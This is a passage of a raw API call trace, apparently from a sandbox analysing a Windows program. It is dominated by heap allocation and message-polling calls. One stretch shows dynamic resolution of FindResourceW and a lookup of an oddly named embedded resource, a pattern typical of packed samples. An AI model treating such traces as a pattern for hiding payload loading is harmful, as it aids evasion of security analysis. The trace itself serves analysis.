dwFlags=0x0, lpMem=0xeaf5f8 | out: hHeap=0xe80000) returned 1 [0134.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555b0 | out: hHeap=0xe80000) returned 1 [0134.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0134.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf518 | out: hHeap=0xe80000) returned 1 [0134.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf638 | out: hHeap=0xe80000) returned 1 [0134.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b68 | out: hHeap=0xe80000) returned 1 [0134.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b50 | out: hHeap=0xe80000) returned 1 [0134.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9ad0 | out: hHeap=0xe80000) returned 1 [0134.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b70 | out: hHeap=0xe80000) returned 1 [0134.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf538 | out: hHeap=0xe80000) returned 1 [0134.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f88 | out: hHeap=0xe80000) returned 1 [0134.030] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.030] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555b0 | out: hHeap=0xe80000) returned 1 [0134.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf508 | out: hHeap=0xe80000) returned 1 [0134.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf518 | out: hHeap=0xe80000) returned 1 [0134.030] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c00 | out: hHeap=0xe80000) returned 1 [0134.031] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.031] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0134.031] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf5e8 | out: hHeap=0xe80000) returned 1 [0134.031] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf558 | out: hHeap=0xe80000) returned 1 [0134.031] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.031] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015dc0 | out: hHeap=0xe80000) returned 1 [0134.031] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.031] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557b0 | out: hHeap=0xe80000) returned 1 [0134.031] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf5b8 | out: hHeap=0xe80000) returned 1 [0134.031] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf538 | out: hHeap=0xe80000) returned 1 [0134.031] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.031] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0134.031] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.031] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0134.031] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4b8 | out: hHeap=0xe80000) returned 1 [0134.031] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf478 | out: hHeap=0xe80000) returned 1 [0134.031] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.031] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015e40 | out: hHeap=0xe80000) returned 1 [0134.031] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.031] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055770 | out: hHeap=0xe80000) returned 1 [0134.031] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf578 | out: hHeap=0xe80000) returned 1 [0134.032] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf628 | out: hHeap=0xe80000) returned 1 [0134.032] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.032] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f70 | out: hHeap=0xe80000) returned 1 [0134.032] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.032] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077060 | out: hHeap=0xe80000) returned 1 [0134.032] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10770a8 | out: hHeap=0xe80000) returned 1 [0134.032] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055610 | out: hHeap=0xe80000) returned 1 [0134.032] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4e8 | out: hHeap=0xe80000) returned 1 [0134.032] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf498 | out: hHeap=0xe80000) returned 1 [0134.032] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.032] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4d8 | out: hHeap=0xe80000) returned 1 [0134.032] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.032] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015f40 | out: hHeap=0xe80000) returned 1 [0134.032] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.032] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557f0 | out: hHeap=0xe80000) returned 1 [0134.032] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4a8 | out: hHeap=0xe80000) returned 1 [0134.032] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf558 | out: hHeap=0xe80000) returned 1 [0134.032] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.032] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c00 | out: hHeap=0xe80000) returned 1 [0134.032] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.033] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557d0 | out: hHeap=0xe80000) returned 1 [0134.033] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.033] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.033] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.033] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.033] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.033] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.033] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.033] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.033] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.033] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.033] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.033] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.033] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.033] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.034] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.034] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.034] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.034] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.034] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.034] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.034] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.034] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.034] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.034] CharLowerBuffW (in: lpsz="ptr", cchLength=0x3 | out: lpsz="ptr") returned 0x3 [0134.034] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x770a0000 [0134.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FindResourceW", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0134.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FindResourceW", cchWideChar=14, lpMultiByteStr=0x1076e50, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FindResourceW", lpUsedDefaultChar=0x0) returned 14 [0134.035] GetProcAddress (hModule=0x770a0000, lpProcName="FindResourceW") returned 0x770c2a40 [0134.036] FindResourceW (hModule=0x0, lpName="fmweecwytels", lpType=0xa) returned 0x3776a8 [0134.039] FreeLibrary (hLibModule=0x770a0000) returned 1 [0134.039] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf488 [0134.039] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076f88 [0134.039] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf488 | out: hHeap=0xe80000) returned 1 [0134.039] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f88 | out: hHeap=0xe80000) returned 1 [0134.039] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e50 | out: hHeap=0xe80000) returned 1 [0134.039] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ee0 | out: hHeap=0xe80000) returned 1 [0134.039] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9f08 | out: hHeap=0xe80000) returned 1 [0134.039] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf568 | out: hHeap=0xe80000) returned 1 [0134.039] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10770d8 | out: hHeap=0xe80000) returned 1 [0134.039] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f70 | out: hHeap=0xe80000) returned 1 [0134.039] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077288 | out: hHeap=0xe80000) returned 1 [0134.039] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ec8 | out: hHeap=0xe80000) returned 1 [0134.039] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefc430 | out: hHeap=0xe80000) returned 1 [0134.039] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4d8 | out: hHeap=0xe80000) returned 1 [0134.040] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf478 | out: hHeap=0xe80000) returned 1 [0134.040] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ac0 | out: hHeap=0xe80000) returned 1 [0134.040] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.040] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9b70 [0134.040] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ac0 [0134.041] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf458 [0134.041] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b50 [0134.041] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf458 | out: hHeap=0xe80000) returned 1 [0134.041] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b68 [0134.041] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b50 | out: hHeap=0xe80000) returned 1 [0134.041] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ac0 | out: hHeap=0xe80000) returned 1 [0134.041] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b70 | out: hHeap=0xe80000) returned 1 [0134.041] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b68 | out: hHeap=0xe80000) returned 1 [0134.041] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.042] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf498 [0134.042] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf498 | out: hHeap=0xe80000) returned 1 [0134.042] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.042] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9c60 [0134.042] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ac0 [0134.042] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf5a8 [0134.042] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ac0 | out: hHeap=0xe80000) returned 1 [0134.042] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec3020 [0134.042] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ac0 [0134.042] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b50 [0134.042] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf638 [0134.042] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b50 | out: hHeap=0xe80000) returned 1 [0134.042] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf4e8 [0134.042] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556b0 [0134.042] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556b0 | out: hHeap=0xe80000) returned 1 [0134.042] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4e8 | out: hHeap=0xe80000) returned 1 [0134.042] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf638 | out: hHeap=0xe80000) returned 1 [0134.043] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.043] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9c88 [0134.043] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b50 [0134.043] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf518 [0134.043] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf518 | out: hHeap=0xe80000) returned 1 [0134.043] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b68 [0134.043] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf4e8 [0134.043] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4e8 | out: hHeap=0xe80000) returned 1 [0134.043] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b50 | out: hHeap=0xe80000) returned 1 [0134.043] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b68 | out: hHeap=0xe80000) returned 1 [0134.043] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9c88 | out: hHeap=0xe80000) returned 1 [0134.044] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.044] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015b40 | out: hHeap=0xe80000) returned 1 [0134.044] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.044] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf4d8 [0134.044] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf558 [0134.044] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556f0 [0134.044] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556f0 | out: hHeap=0xe80000) returned 1 [0134.044] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf558 | out: hHeap=0xe80000) returned 1 [0134.044] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4d8 | out: hHeap=0xe80000) returned 1 [0134.044] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10162c0 [0134.044] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.045] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10162c0 | out: hHeap=0xe80000) returned 1 [0134.045] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.045] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf498 [0134.045] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf638 [0134.045] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0134.045] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0134.045] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf638 | out: hHeap=0xe80000) returned 1 [0134.045] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf498 | out: hHeap=0xe80000) returned 1 [0134.045] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0134.045] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.045] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0134.045] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.046] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf4a8 [0134.046] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf488 [0134.046] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0134.046] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0134.046] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf488 | out: hHeap=0xe80000) returned 1 [0134.046] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4a8 | out: hHeap=0xe80000) returned 1 [0134.046] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d40 [0134.046] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.046] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d40 | out: hHeap=0xe80000) returned 1 [0134.046] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.046] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf638 [0134.046] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf648 [0134.046] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554b0 [0134.047] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554b0 | out: hHeap=0xe80000) returned 1 [0134.047] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf648 | out: hHeap=0xe80000) returned 1 [0134.047] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf638 | out: hHeap=0xe80000) returned 1 [0134.047] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015f80 [0134.047] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.047] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015f80 | out: hHeap=0xe80000) returned 1 [0134.047] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.047] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf528 [0134.047] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf598 [0134.047] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556b0 [0134.047] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556b0 | out: hHeap=0xe80000) returned 1 [0134.047] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf598 | out: hHeap=0xe80000) returned 1 [0134.047] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf528 | out: hHeap=0xe80000) returned 1 [0134.048] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d40 [0134.048] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.048] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d40 | out: hHeap=0xe80000) returned 1 [0134.048] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.048] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf638 [0134.048] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf478 [0134.048] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055430 [0134.048] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055430 | out: 